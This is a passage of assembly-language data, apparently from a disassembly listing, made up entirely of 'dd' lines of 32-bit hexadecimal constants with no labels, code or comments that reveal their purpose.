		dd 40EF731Ah, 0D567F6ECh, 0D00BA98h, 0CEDB549Ch, 0F6204F74h
		dd 6EE3006Fh, 0EF0C577Bh, 191E552Eh, 334C0B1Dh,	4E30B0h
		dd 7E8A85F5h, 0A32382DCh, 435A8B0Eh, 894B4071h,	118FECh
		dd 1BF3512Fh, 6EAE9E92h, 0B0461201h, 191A0F68h,	33B5E8h
		dd 133178B6h, 35A65987h, 18009174h, 444B929Ch, 39C5C1h
		dd 9587206Eh, 0F8AE0637h, 283DBC30h, 7E4399A0h,	20EA0ECBh
		dd 2901FEB7h, 30D7091Ch, 76FA9142h, 1D031C94h, 83F84Fh
		dd 0E0968BB0h, 8858B2ACh, 54DC9754h, 3739F807h,	7C50F052h
		dd 0FCEC8BE0h, 3DD70060h, 6820A2FBh, 370BCBB3h,	4EB3382h
		dd 549050EFh, 7DA85AE0h, 6BFA1FE9h, 2840CC38h, 0D1003758h
		dd 4B342D89h, 50BA87h, 0B7037DBCh, 5C438646h, 7BD2320Ah
		dd 25139C37h, 1442281Dh
		dd 4054A4D5h, 6C2900h, 1DBDFBFh, 0C633099Ch, 7D4CEB00h
		dd 0CFE24D38h, 21E2ED2h, 40291FA8h, 4FD03BB4h, 0E007BD94h
		dd 1B84E847h, 0B192DA63h, 2CE88EA7h, 542003D1h,	96F6629Dh
		dd 218F7DC0h, 68351F00h, 1BE20B25h, 0E05E4C9h, 473D1490h
		dd 48D64E65h, 8C408284h, 69D3A7h, 0FFCFD2C4h, 0BCB035C9h
		dd 0F1FAF200h, 873CC742h, 39C0A06Ah, 750690A6h,	1A411B40h
		dd 23B9EA7Bh, 3BECD0B5h, 0E098E00h, 7F1305B4h, 7A9000D6h
		dd 805C7C79h, 7D009666h, 8FA12BB5h, 0E013D31Eh,	6E9F03E4h
		dd 2DF8B622h, 77D45E98h, 3C74E207h, 0C7646446h,	655F13C0h
		dd 9A6800BAh, 10560FFCh, 88E0A99Bh, 0F9ECDE00h,	0B1DFFB34h
		dd 0CE723Ch, 9BF57594h,	0A9448818h, 6D3ACF00h, 9F216686h
		dd 8EB21F7Dh, 15D60F3Fh, 0BF00C8AEh, 36E8DFF4h,	3E060A0Ah
		dd 0C00084CBh, 0DD153D10h, 0C0B67DB4h, 6137EB88h, 0AF7D68C6h
		dd 5448D40Fh, 0C80680CAh, 1FA93692h, 144F7E17h,	471F691h
		dd 5DE39FFDh, 5EA280B9h, 8879D3E2h, 95A59900h, 4B19BEC3h
		dd 69E0F3Fh, 1FA03559h,	5286AF57h, 0F69AD91Ch, 43CF63DFh
		dd 586A8CDAh, 2B600FDFh, 90A0D647h, 21AC44D4h, 0CA09CC24h
		dd 5C241A1Dh, 6EE81C00h, 1733481h, 721923E1h, 308FDE76h
		dd 15005E98h, 3B69C59Ah, 877E4Ah, 7C3F323h, 6119BB2Eh
		dd 0FB51BF00h, 59EE3810h, 32D71E2Fh, 0E573C0CBh, 0BCB9DDD9h
		dd 0AEA04E00h, 0A44505C4h, 3C23E449h, 66802980h, 786B6CEEh
		dd 2200434Fh, 0D35FB6A3h, 7B929963h, 571C00AFh,	0BCA7ABBEh
		dd 7500B8F5h, 30FC3496h, 45A6B70h, 4FAD6328h, 76D8C047h
		dd 3F0F90DBh, 0A02506FCh, 80A36B94h, 0E0EA00E3h, 108CDA8h
		dd 0FC006C45h, 0EF4C4A03h, 0B8BC118Dh, 0D4890010h, 0DDC73507h
		dd 5E00903Eh, 2FC5B99h,	3ED9D3CBh, 5A800FE7h, 0C9F9A2B2h
		dd 8F0EF76Bh, 0A0CF9FA3h, 468E5B70h, 26CD0168h,	22E94D9Dh
		dd 85C460CAh, 34C7E616h, 5A958207h, 604A41F2h, 4ED408h
		dd 3F53178Ch, 605BF93Ah, 0ED5A96FAh, 415D1000h,	0D2AE79h
		dd 100435F0h, 5EB86250h, 83EC9B3Fh, 0F568E9F3h,	0EBB4A879h
		dd 0FD5000E0h, 0B36360DAh, 602C8E7h, 3DF6D39h, 0CC84E922h
		dd 3EAE2CF0h, 5201F1E3h, 93DE37A1h, 0A9683083h,	2231EF00h
		dd 8E8C2366h, 0E8A8983Dh, 728A0F4Ah, 572D161h, 804653F2h
		dd 0AC26CFFCh, 88FA9903h, 98C84511h, 1F9093Ch, 70ADEDD6h
		dd 0F0E216EAh, 3D00489Fh, 6207538Eh, 4C34DB27h,	0AD08E49Eh
		dd 5004C85h, 0EAE14E5h,	803B0174h, 269F20CEh, 89885082h
		dd 0AF03347Eh, 99CF850Ah, 0E38C0CDh, 86C600ACh,	667CA5E8h
		dd 0DC0097EAh, 0D8C5A241h, 6349C7h, 982D94A8h, 0C8188D4Ch
		dd 0D99BA100h, 78BCBB15h, 4DEDB0FFh, 1E7D985Ah,	408E56C1h
		dd 96DA604Fh, 2EB801F0h, 30281B00h, 9224AFE1h, 67D8FB3Ah
		dd 0F440E3F3h, 5E48C1h,	74A3B937h, 0DEBD73C7h, 0CECA8B00h
		dd 81AEE3FAh, 1D55007Ah, 220BB98Ch, 4102D7B0h, 0B627A5C9h
		dd 0E07EC226h, 0CE19DD58h, 0A6807E48h, 0C03EC6E0h, 287BF330h
		dd 8087F10Eh, 240ADC71h, 0ECE38C0Ah, 4331E000h,	0EDAA55h
		dd 0EEF19F50h, 0F2588C5h, 2B868C00h, 4EEFCED6h,	8F420034h
		dd 0E3D1AEF0h, 85FEB9E0h, 69214500h, 8B78A8E9h,	92C3F51h
		dd 3906F448h, 80CD184Bh, 0F5F6C610h, 0B900363Dh, 0D14E7EA5h
		dd 297E07A1h, 5CCB5801h, 0A65599B0h, 0FA28BD8h,	5D141F98h
		dd 21862A00h, 64005F12h, 0B536DDDh, 3AD9C044h, 401CE334h
		dd 4CB7021Ah, 0FC80302Bh, 3A144F42h, 0E9AF0BFh,	5FED773Eh
		dd 0A6D05A80h, 8007A4A0h, 0F617B9E2h, 19347210h, 7BF84C47h
		dd 80FEFA1Dh, 764D7738h, 5F5CE745h, 0DA2600ACh,	0A3627ABAh
		dd 5A2B071Dh, 70EADCDFh, 0EBEE5405h, 0AB82C50Bh, 82B78BE0h
		dd 43B6BC8Ch, 4631C84Ch, 0A10C008Dh, 833D5325h,	6166A8Ah
		dd 0DD008F94h, 1C58C0AAh, 56D20061h, 3318E46Ch,	6930CFBAh
		dd 9388BA6Eh, 7F3A0009h, 0DFA45994h, 3124B761h,	9E079455h
		dd 60EF74F4h, 6D36E7EFh, 909F00ECh, 5C8A57B5h, 6900D8ADh
		dd 88837285h, 0F8050E2Dh, 0A25200FEh, 3FAF568Fh, 6F005BC4h
		dd 8537743Bh, 0FABE3D5Fh, 421F009Fh, 11B640E3h,	5000ABCCh
		dd 0E6B4632h, 9332Bh, 175BCF1Ah, 794F6D03h, 92004173h
		dd 0ACD387B7h, 634ABCh,	695D2653h, 2E83B07h, 5B6ACC00h
		dd 0A119D8A9h, 52620E85h, 3F00AF38h, 6F8CDC7Eh,	8417C000h
		dd 0F4F52C9Dh, 15580089h, 406D6A9Ch, 0E500F0E2h, 0A978EDFh
		dd 4BB551h, 0C4AF1484h,	269A99C0h, 0F12B5709h, 0EFE000A8h
		dd 26882912h, 806CEE16h, 0D8D6E867h, 353B53B6h,	627D807Ch
		dd 8DEC746Ah, 2EC505E3h, 8007636Ch, 0F503B6A9h,	10017E8h
		dd 5FB775AAh, 153E10h, 47CB883h, 7A65090Ah, 0EF0208F0h
		dd 548578A0h, 747035h, 287F34D5h, 0B84A90B6h, 0E0F32C00h
		dd 785B0249h, 0FAA12E21h, 10CF8140h, 70530735h,	0C0EB8DC8h
		dd 64006E6Bh, 0D5AD44Eh, 16AD683h, 0D2ACDD68h, 70EF34C5h
		dd 7816FFC0h, 0B8003214h, 0B267D98Dh, 92FA181Ah, 210C209Dh
		dd 0D203F7FEh, 0E40AC990h, 9EDB953h, 4184E8h, 43D3306Fh
		dd 2608C27Dh, 2A46000h,	52923C5h, 9D39031Dh, 0C9BC5F83h
		dd 5D9165F8h, 0EA0E09E4h, 0A04C8824h, 5CDECF04h, 3D919832h
		dd 0FF49550h, 1B8467E4h, 5DDD01D6h, 3060D986h, 19009AE6h
		dd 0BC238B9Bh, 56412Fh,	32F2B872h, 4A7B712Bh, 82981707h
		dd 0A615C487h, 0B82A68C0h, 47340074h, 0B7F4D992h, 0C61D5CACh
		dd 68745D5h, 0B8375904h, 9503F010h, 8E1C1251h, 1D1100E2h
		dd 9C615D8Bh, 0EFEE3C07h, 9380655Bh, 31E74Eh, 29F2A4F8h
		dd 4CEC32E0h, 21448003h, 90C0B970h, 0E1F8A89h, 7FF82C28h
		dd 7D20AC2Fh, 9DD2D9CEh, 344A0107h, 0DCB172E8h,	2C815839h
		dd 0C0F5FF5Ch, 6874F416h, 0E171D500h, 32A284FBh, 0E36901E4h
		dd 4DC8D3DBh, 99EBC463h, 6BC0FC00h, 0A9749A68h,	40F80BB2h
		dd 3880F5F7h, 0A024D958h, 7C32A80Eh, 623E205Ah,	50977E72h
		dd 4EE3FE11h, 0B9BC63h,	0A661E6C1h, 8208A1h, 7FDADF8h
		dd 0A0E5671Ch, 997F2A7Dh, 9A0BE600h, 0B942E836h, 3CF00038h
		dd 5B5805E0h, 2A00B80Ch, 0BD8AC0DAh, 94B303h, 68928688h
		dd 7E6E1DD6h, 80EFD13Fh, 0B344FBCCh, 606BED79h,	0AEB988BBh
		dd 0DF48A669h, 80433A00h, 0B622C26h, 0BA8DB7h, 808E5F4Fh
		dd 3620B360h, 7DEEB5E2h, 0BEF14200h, 0D912692Bh, 0BF151C07h
		dd 78CA4039h, 1947B19Ah, 97DEF900h, 0A7075880h,	7B4E0BD3h
		dd 997E631Eh, 0B8506100h, 18796DEh, 883454F0h, 30EC8D38h
		dd 202E0EF0h, 63009B76h, 0A4A66806h, 0F9E6013Fh, 0C6CEC2C7h
		dd 344DCA5h, 0DA523A00h, 0B8ACB50Fh, 1C2F000Eh,	22B7689h
		dd 5C392AF0h, 62C0A4D6h, 1F9A1D00h, 0C2E70Ch, 0D02D25B3h
		dd 0BC59DD6Bh, 0FD8B7700h, 1420E911h, 7A9200E6h, 8999D833h
		dd 5B00134Ah, 0C3B941BDh, 0D0C297h, 2AA21D83h, 0C4B7E520h
		dd 5E2D8700h, 4867AD21h, 9254000Ah, 0C2D7A524h,	8DF42CC9h
		dd 3FA82A00h, 33A9AF62h, 6B3E0007h, 5E3C66F6h, 0E0009BE3h
		dd 46F9A3D5h, 19200Ch, 3DDF2BEBh, 5CB12A6Ch, 2C04EC00h
		dd 0A73959D9h, 0A5DA0312h, 8B578D79h, 65F087CBh, 0E300E025h
		dd 9E5FB4EBh, 0F8A5E6F8h, 77420168h, 2AEA856Dh,	0E1123048h
		dd 0BAF2D000h, 58761F3h
		dd 59D40035h, 0F7B9E94Eh, 78008D66h, 2D15C4ABh,	5AEF32Fh
		dd 9D200DBDh, 95B8C091h, 0B30106B1h, 113BE0DCh,	0D3FD0809h
		dd 3650C0h, 83E63519h, 0B84DC1CAh, 0BBDC2200h, 90610FA1h
		dd 0D7200037h, 0A6758D9Bh, 533BE1CCh, 4535009Dh, 0CD3DC482h
		dd 0D52F0BBFh, 1081861Dh, 80C3C63Fh, 0D8A05018h, 9B6B42h
		dd 296F54F5h, 482B9009h, 0E82C1007h, 5131A332h,	19C844D4h
		dd 1281002Eh, 37D7FC7h,	6200EDD5h, 0DB356031h, 169F3F40h
		dd 0F724BAh, 95BBABB5h,	60007F37h, 0D9B9F6B1h, 67983Fh
		dd 8EDB247Eh, 0B20C8155h, 0BD026E3Eh, 61C780F8h, 10739022h
		dd 0B700034h, 0FD6EB936h, 890049F5h, 44209C6Fh,	5CFED19Fh
		dd 0EC00F1F7h, 8B12A02Bh, 0E001707h, 89083545h,	0FE36484h
		dd 0F729E290h, 0F988D740h, 0D80EFD57h, 0E44F598Ah, 80E51Fh
		dd 54A29Dh, 7DC5E25Ch, 3164A628h, 0F92711Dh, 20F502CEh
		dd 0C92361F7h, 0ADE200EAh, 1ABAB8F6h, 0C3006037h, 0C8BEE087h
		dd 3017FC2Fh, 0ADC2449Ah, 5C78DDB9h, 2A42F100h,	0D6E77DAAh
		dd 0CE7E98h, 1CE53D09h,	10418318h, 0BCF0E900h, 63EA1654h
		dd 7870902Dh, 7BE40031h, 602CEE3h, 0A4244203h, 0C1001C92h
		dd 161B1CBDh, 0B8D0C1FEh, 0D4D07D97h, 93026E09h, 0DA2C4F9h
		dd 12C7C041h, 3DECA1BDh, 310A7CDCh, 0CD115AF4h,	0A561E27Eh
		dd 0B510902Ah, 0F6A96907h, 0CF201C38h, 97CEBC38h, 2901B4D7h
		dd 376A7D81h, 3BD3EC4h,	0E5FD657Fh, 0E2B02AAEh,	7CB8EE07h
		dd 51ABD50Ch, 1F1058CEh, 4EF56Ah, 13A67E1Dh, 3A007FD4h
		dd 0B31FAA9Fh, 261195h,	6D010C48h, 75E55A3Ch, 16C62101h
		dd 23E31A87h, 24109080h, 709F8B2Ah, 0E2BB007h, 0E79EB1C3h
		dd 0AC800B6Eh, 1FB5F3D1h, 0DF1E7Dh, 0E3556628h,	0A200E8BDh
		dd 0E778F756h, 1B85B04h, 0A0763A65h, 40089930h,	8C6A17B7h
		dd 9CFA0C75h, 0D8072976h, 3E8F0DF0h, 0C738F181h, 0A05822E0h
		dd 2E2AD8h, 615B5347h, 0DB9F0A05h, 0E274Ch, 0EF6F3B5Ch
		dd 72E2390h, 8F7CA098h,	384E861Eh, 60113206h, 7C494430h
		dd 0BCAA00E8h, 1EED2365h, 8CC3BABh, 3EEB2146h, 1380AA26h
		dd 0E187622Fh, 1E019088h, 1645FC69h, 4834BED6h,	9282E410h
		dd 0DB3D0328h, 5895126Eh, 0B1E881A7h, 8038B2B5h, 0AA4A30F4h
		dd 0C3654008h, 11E5620Ah, 0AA22F700h, 1428013Ch, 99A18443h
		dd 0FCC6F175h, 3806F8B8h, 8A5A9633h, 0B0480051h, 3D3ADFF2h
		dd 4E3D7C0Dh, 8808E695h, 79D000A9h, 0FB1D3DFh, 3A006D38h
		dd 1355ADE0h, 0A085BDBFh, 820DB4h, 9E8A9198h, 6A7EA45Fh
		dd 187AD826h, 0C0540B00h, 2C97B043h, 6AAFBCh, 4F2277B8h
		dd 13008207h, 44983692h, 1E7087h, 711B40A0h, 0CD89C960h
		dd 0F53E5500h, 92C5EB50h, 3B13E39h, 8021A59Dh, 9CFB76C3h
		dd 0DE003A9Eh, 2BDC5D7Eh, 3FAD9373h, 0C5801612h, 87547F49h
		dd 39484BDDh, 348D0CBCh, 1DB1085h, 37E47E89h, 2055BCB4h
		dd 35013EF4h, 0DCBEF94Dh, 6DCCC713h, 120C0051h,	0BA34CBF3h
		dd 0BC0E3508h, 0E70F2CC8h, 51CD8F3Dh, 604B5FEh,	10F25280h
		dd 8072AC3Bh, 873A191Eh, 0F71D1Bh, 3CDB2F25h, 4C26F39Ah
		dd 0AD2AF60Ah, 0CB101401h, 22440F88h, 12ACB721h, 4EDB105Fh
		dd 2255A28Bh, 8324AE6Fh, 11497F21h, 0D41757EAh,	263744AAh
		dd 0CFD0E000h, 3E0E4B0Ch, 2344C99Eh, 0C0AA2385h, 0A55439h
		dd 0B2EE8917h, 0CA64DC7Fh, 5B0E6102h, 0C0E382BEh, 0AB185Fh
		dd 7AE27225h, 788188E7h, 5F8C2600h, 0E9E1F2BDh,	5E6E00C8h
		dd 6E0CA8Ah, 1503D5EDh,	0EFC5D099h, 0AA61F00Eh,	4C7C08h
		dd 13E57A62h, 0D1977BCBh, 823A9A00h, 8605AB4Fh,	57D00021h
		dd 492A9979h, 9F1EDD88h, 70C1ACB6h, 80EAB7A5h, 0B2DCCh
		dd 544974AFh, 92E16BA6h, 24AE4A00h, 9087EEA9h, 5A7A13E6h
		dd 16F90031h, 6C02FE91h, 0B8640707h, 0A1D0DF95h, 6F418Bh
		dd 79831DD2h, 2129AE2Dh, 48C3A901h, 0DF4D5304h,	7D800020h
		dd 92EE6Dh, 0E3767E13h,	75C364CDh, 0BE99DD00h, 8FE96C46h
		dd 0BF5A0712h, 92019744h, 0F380DEFBh, 8AB5CE62h, 82123201h
		dd 0E4288791h, 0D0BFA053h, 0F0D1D34Dh, 0BE683A2Bh, 6715D280h
		dd 0E37DC92Ch, 0FAEB880Fh, 46FF6052h, 0B83A7CA5h, 72BE0037h
		dd 0CB20388Fh, 2D1FA4D1h, 2A0737FDh, 2C07E88h, 5E526D0h
		dd 1F83AA12h, 0A832C009h, 0DC48D649h, 1197006Ch, 0EC7D79F7h
		dd 523D00F4h, 9289BCB2h, 851F46F5h, 8EC148BAh, 7A858EAh
		dd 670E0h, 0C87A0276h, 0E52FDCD2h, 54FB4200h, 0D4C3F9CFh
		dd 0BF3918A8h, 764760F2h, 8082EB3Ch, 0E164E36h,	115193Eh
		dd 0E91A7C06h, 0C4A1D99Fh, 7A600AB5h, 48C34F8h,	804E0058h
		dd 1AF21DD7h, 0CA0026CFh, 0B6CDFB79h, 71CEEC7h,	0DEE251D6h
		dd 8308074h, 3F00E450h,	364BBD75h, 58A7A0h, 479C3CE0h
		dd 1C50D177h, 36FA042Ch, 0EA1183Dh, 0C803871h, 0F1179A68h
		dd 8D003B10h, 0C08A83A5h, 77AF0DCh, 5FB27513h, 9A2BF0E3h
		dd 9C0059CBh, 5CEEDAEFh, 29500Dh, 0D4B28187h, 0C9208C7Ch
		dd 84063Eh, 0ED4A7121h,	0DC3A27h, 0E4A1C1D9h, 0E84576B4h
		dd 3767A600h, 0BFB25A08h, 9D9C009Fh, 5BE16CEAh,	0E00F956h
		dd 1E398D8h, 340A146h, 45A2D977h, 0B9DB0F6Ch, 57E806D3h
		dd 2F02DFACh, 211E7ACCh, 1700757Fh, 3F1CAE20h, 0A000A578h
		dd 8C3BEC33h, 0B0A9DD86h, 0DE570002h, 56404CAFh, 7F009B14h
		dd 3CF72506h, 0C61DF2h,	0EA299397h, 0EDE94B83h,	1C009CB8h
		dd 6D723789h, 1E8871B9h, 80E86206h, 0E51319AAh,	7B0093F3h
		dd 0F2DEDDADh, 309741h,	0D9D61AA0h, 602D96A4h, 0AE738D1Ch
		dd 6AA14303h, 0ED628898h, 0F0CD0047h, 0E1B8A407h, 5500FCA5h
		dd 6EE86119h, 0E4D4925h, 0C66F71DAh, 0BECB0CE0h, 8800E02Dh
		dd 809C0A5Ah, 26A8D372h, 80D81433h, 6BD1D489h, 0F31CD905h
		dd 6EC0CEFAh, 3DAF94F7h, 4DB000B4h, 8D5B7C4Ah, 0D0ED2C09h
		dd 8007C13Eh, 1524619Ch, 836EFD12h, 81D923BCh, 3CE09A11h
		dd 89450009h, 6D863248h, 0EC013FA0h, 387A0644h,	95E41F03h
		dd 2E110FD4h, 5420B44Bh, 145E126Ch, 59A17602h, 40387428h
		dd 1D02AFB4h, 41D404F2h, 3F162F60h, 79D980BDh, 0CE8E3BADh
		dd 10E70084h, 94172FEDh, 44901ECDh, 7E798B00h, 77C1F986h
		dd 0B5150F41h, 0FBC0A451h, 4CAEFDE7h, 0BE861A00h, 0B2D78FDDh
		dd 30750EE9h, 6BC03AE6h, 34AA9A6Dh, 741CE100h, 94E95C0h
		dd 0BAC81C35h, 0D031949Fh, 0F2B5F600h, 0A0D98633h, 1AC00C00h
		dd 0B8E5C60Bh, 0DCCA04FDh, 0C527ACB9h, 0F8E680BCh, 3500EAABh
		dd 0DD947DB0h, 790A8C48h, 88B00F9h, 0A4D55C77h,	12DF583Dh
		dd 0AEC02300h, 0FEA69C71h, 103A48C4h, 54F1Eh, 567FCA5Ah
		dd 680F7D53h, 0E0E01822h, 3A4EAC74h, 0F39E243Bh, 0CC4700D8h
		dd 0EE0F0894h, 0B24FE900h, 0C1CD6F1Dh, 0BC530030h, 556AC1Eh
		dd 0F8711BFDh, 82E1F400h, 7876B2D2h, 0CDA10E81h, 0A5E0EFC8h
		dd 39821BDh, 9F975D02h,	40CBF138h, 10B5BFA0h, 82DBC6h
		dd 0D673909h, 1CE4FBDh,	7CABA9A0h, 6E44DB50h, 59706EC7h
		dd 0EFE4Bh, 88B64A1Dh, 0BDC4BFBCh, 8057F838h, 0E550990Dh
		dd 16C86B27h, 0AA1589h,	0C1735388h, 883E03CAh, 7E12F9B1h
		dd 9C4095A1h, 1E7896BFh, 4D9EA0A7h, 0EBF0000Fh,	2A548290h
		dd 4C0093E0h, 2B7ABCCCh, 5C89300Ch, 76035C35h, 0E8D4EAA6h
		dd 42E34900h, 274BE9F9h
		dd 0F4810754h, 0E0EB1816h, 44649B77h, 1078C02Ch, 50280186h
		dd 3AAA7139h, 1B9FA939h, 0F10EBE9Eh, 64E06F20h,	6A8E0297h
		dd 3EED851Eh, 0E87B0383h, 679BA0F2h, 0E228001Ah, 0FCBD3D72h
		dd 74005761h, 886AF477h, 1C5D8F3Fh, 0A69DEC5Ch,	0BCBD00D1h
		dd 186307A4h, 4151C0C0h, 0BC57656h, 7F28A214h, 63C70B0Fh
		dd 6C00DBE3h, 0EBB49194h, 0BF55612h, 4C92E400h,	0FE8E2BABh
		dd 6890FDh, 5AFCCB69h, 0CEAC81B5h, 0AB785898h, 3AD4A00h
		dd 0E7156DA9h, 0C9040EEFh, 23E0C17Ah, 0D09B392Fh, 559A9C01h
		dd 0B2FB0CF8h, 0FE1D4060h, 0B11303B7h, 45DEAAECh, 0B60EF98h
		dd 0C8AB573Bh, 0B2460020h, 0C5103842h, 0A9412EEAh, 0FB2F0024h
		dd 33761606h, 0B4A7AF2Ah, 2A7FFF00h, 0A0A5D144h, 0DECF0F6Eh
		dd 50E05F1Bh, 5C2B3EE7h, 0F6F58F00h, 5802A3E8h,	5DDE2691h
		dd 0D0E1018Dh, 64597FD2h, 0B70F7B44h, 0C035B24Eh, 0D8E5FF2h
		dd 1E74ABh, 39DD444Ch, 0E53DEBC5h, 0CF242300h, 2E9A86Bh
		dd 0C8A700C7h, 0FEED9513h, 0F002983Dh, 5F48F33Ah, 719D40B5h
		dd 0B1F91E55h, 0E080FCE2h, 0CE2F03FEh, 3278D36Dh, 0C45DD200h
		dd 6354D8BAh, 4B8D001Bh, 3E53ED4Eh, 2E00966Eh, 98C01F0Ch
		dd 3BD01E4h, 3C0D5BB0h,	0BFF85AEBh, 450EB3FAh, 4ED9DA2Fh
		dd 942860DDh, 0F737E3h,	0B07F898h, 96D80333h, 6CF4F207h
		dd 0E8B0C426h, 77D3B1C9h, 480AE659h, 0E5001C1Fh, 1102A205h
		dd 0C071923h, 0FEB74F83h, 0D8979F24h, 0DA09D27h, 0E5B14Ah
		dd 582F15AAh, 42D4073Fh, 0D556C104h, 2D8151BCh,	0C2C9BDB9h
		dd 5171C20h, 8EDC4735h,	32388183h, 6737FCD0h, 681A7400h
		dd 0F2AEA9D3h, 6D340092h, 1C4E82Fh, 0EC7BDF81h,	0ED364000h
		dd 3C4EEE6Fh, 0B6A902BBh, 395DE61Bh, 0CF30AC80h, 17167479h
		dd 8A00A5C1h, 0A11D811Eh, 22B207FEh, 3F2BFB03h,	2D4EFF60h
		dd 21C5F89h, 0F74040F8h, 0A52A0CFh, 1F5E0EEFh, 53C7E707h
		dd 0E0916017h, 0C2009744h, 0D3BC2852h, 18FE0FABh, 0D6F0BDE2h
		dd 0F24C8FCAh, 0BCEE00B8h, 0B54828EFh, 0F88590D3h, 0AC1C505Bh
		dd 3EB92C89h, 2CCF0098h, 0FB353721h, 0C566D000h, 0FDD707D6h
		dd 0B3CC00D9h, 2BCA4C88h, 33004D0Eh, 2D693C43h,	726882D2h
		dd 15A602DFh, 7D950C4Eh, 0F3D38060h, 0C8445B24h, 0D1856107h
		dd 0F147C03Eh, 98C454h,	494F0BB9h, 0A67950DDh, 0BE2ECC00h
		dd 0CF6D2CA2h, 0E36102CEh, 43A45BCBh, 1F5CAC48h, 0AC817094h
		dd 578BE553h, 3C72F4h, 1450E105h, 1643F11Ch, 5DA87F00h
		dd 2CE0CEF5h, 52884AE4h, 8C7F00D4h, 142BD3BFh, 10615C32h
		dd 0B8F5E35Eh, 0F0A3B2h, 8594B411h, 4C57A4C4h, 0E144B05h
		dd 0B4809EB1h, 0EE6ED35Fh, 6B0D00C1h, 0E34C3D2Bh, 2C00D202h
		dd 64204A45h, 0B47C89h,	0DE9D0BFDh, 0AB068507h,	0F9126101h
		dd 83BC758Dh, 3A3A920h,	9FFC645Fh, 7AB1D66Eh, 595070AAh
		dd 0CEA9FA00h, 0F96BF247h, 1F650694h, 0B09AB0A5h, 0C695601h
		dd 0FF7E55A1h, 0E5B6C8h, 0BDDBF767h, 7DA8D507h,	9CA3B777h
		dd 0C1DCA494h, 7BAC781Fh, 0AFBE7300h, 75A8500Eh, 0C7C90049h
		dd 0BD98F81Ah, 1003F6Eh, 908CBA32h, 723D0A8Ah, 6310C011h
		dd 1422023Bh, 38E77D2Eh, 0D5BDA103h, 0C31009Dh,	0CD293ED9h
		dd 0A37F2F0Fh, 0BC03494Eh, 0C0155BB6h, 2E51078h, 0E49FEA7Dh
		dd 8E603C4h, 6BE1A200h,	3A91A077h, 8CF95041h, 0D5703C92h
		dd 0A7629000h, 4B3CB00Dh, 0EC4EF703h, 0A06861C5h, 9B1E6B8h
		dd 45B60DCh, 50C1CA87h,	7AD49312h, 0C6413501h, 72FEC8B2h
		dd 123450ECh, 0A488D2h,	8B11B331h, 8F076AB0h, 36B225E4h
		dd 20035280h, 98C898AAh, 9FD600D0h, 0BF054ACFh,	0DA029207h
		dd 548404DFh, 2534C00Dh, 384D39EFh, 1E99A980h, 0F499224h
		dd 769CA00h, 66CD251Bh,	5CE90026h, 0CBF277Ah, 85001988h
		dd 0EB293D8Bh, 9BEA4E0h, 2BA9F769h, 0E8197CA0h,	8E00C72Eh
		dd 48B1DCBFh, 120FD64h,	2C073536h, 0D4D74DA2h, 5A003923h
		dd 9DFE5BBAh, 2D3483h, 3D471E79h, 14D82F76h, 7FB039E4h
		dd 0D0B848h, 0AEAB2303h, 0E457DEDDh, 0DC4B0093h, 9A0BA7A5h
		dd 2E26E7E9h, 8A00364Fh, 5DD878C4h, 0C0CC00A2h,	61195363h
		dd 1D3F5032h, 715580B6h, 0ACE386Fh, 2AC894B7h, 12C8B818h
		dd 85E7Bh, 7A1F5908h, 0EBFCFBE7h, 4C49A00h, 0C612EA4Fh
		dd 725A0180h, 3205390Ch, 11742003h, 0FA27E475h,	40DC804Ah
		dd 3ADC9Dh, 7C32F001h, 22D72EA8h, 0AD00FCE2h, 8A21735Dh
		dd 1D1F4BAh, 4F168BD2h,	60CE0203h, 0DF00F5D9h, 1C08CA41h
		dd 3064B3h, 8A637513h, 3D4E84F4h, 0E3AF7000h, 0F289943Fh
		dd 0C6830074h, 3362D220h, 927F3A14h, 82DEE83Ch,	688A2DD6h
		dd 84296039h, 2CA49448h, 0D79C01F8h, 20F8564Fh,	428E660h
		dd 0CC00806Fh, 7348405Dh, 1EA8C659h, 0A37822h, 0FF900E1Ch
		dd 330F5037h, 0A0B6FBEBh, 0A9A0C25Fh, 0E1170335h, 90F3E706h
		dd 70D840CFh, 0BE00E08Ah, 51825DC9h, 7A4839DAh,	978800D6h
		dd 0E67DFDF7h, 30747C99h, 6965A809h, 0E8A86311h, 0A5C2892h
		dd 89B505D8h, 5EFB00E2h, 0D58AFBDh, 0E7FE991Eh,	8044E2C9h
		dd 0EF94F1A2h, 0A3DA26F0h, 0B8250012h, 6EE75703h, 1E1F9FF4h
		dd 7D80693Fh, 225C24E0h, 4EF90B0Ah, 0DC89487Ch,	0B6D19800h
		dd 0FC00ECAAh, 0F4BC3964h, 4AA6D96Dh, 1F412BEh,	747376C8h
		dd 1B6FD4B4h, 1F536200h, 0DC7DB033h, 46D50F40h,	0F7C072BDh
		dd 0C9EE1BD6h, 0DB00DDB8h, 4B9E0934h, 0B7371Eh,	0D535B525h
		dd 46F9D0B6h, 0FF234A02h, 406B0488h, 0B05B627Ch, 8B524A3h
		dd 9B0F00C4h, 68CBD34Ah, 0BD260D00h, 86150BFAh,	8B52002Dh
		dd 48E287DAh, 0F71706A0h, 6F1D817Ch, 8411C880h,	0B086B12Ch
		dd 0BA29C02Ch, 3F355DD3h, 341D5E0Fh, 0C98AE09Ah, 8E04A0h
		dd 902BDBE4h, 9F4AF2Eh,	6D161900h, 0E90295C6h, 0BD1003Fh
		dd 273B8D08h, 2D0067FDh, 0B28046A5h, 1CBF265Ch,	394A599Fh
		dd 83E700FFh, 54FA7029h, 0D8B84144h, 1C933B26h,	0C9014B80h
		dd 9ECA1Eh, 0D7F062DEh,	79129A6Fh, 4D0FEA00h, 0AFEBAD78h
		dd 0F8010064h, 66B49FB3h, 0CD02D9F2h, 0AE1B4A77h, 56984058h
		dd 0A3B70EEAh, 34C05EEEh, 7857C2B1h, 36989A00h,	0F21A9019h
		dd 0B0AD78AAh, 1C851F90h, 11FC007Ah, 99DC4132h,	0B5A363Ah
		dd 0A0EAD852h, 0FA0234B4h, 0EC9257h, 0DF6111D2h, 28628C5Fh
		dd 34F8B3Dh, 4597524h, 6554C086h, 4EA80941h, 0BA0332DAh
		dd 0CD98CE03h, 47009AC2h, 6E2598BCh, 2DD876Fh, 5C637C60h
		dd 38807852h, 5444258Bh, 611C21C0h, 379BA5Ch, 1EBE6889h
		dd 0B5995D74h, 736BC444h, 0D9EFC00h, 0D7D56369h, 7824A0D9h
		dd 9068A587h, 0C67FA032h, 2AFF00E1h, 32E5FCA9h,	62004F45h
		dd 9C81F4C1h, 7A52B17h,	2D1FCB65h, 0D772003Bh, 29389E0Fh
		dd 7C968F19h, 7118878Bh, 61E60C40h, 1AB6008Eh, 74356D97h
		dd 9E1DDB6Eh, 0C944D538h, 6EC02C2Dh, 0B175CFh, 0A95FCB49h
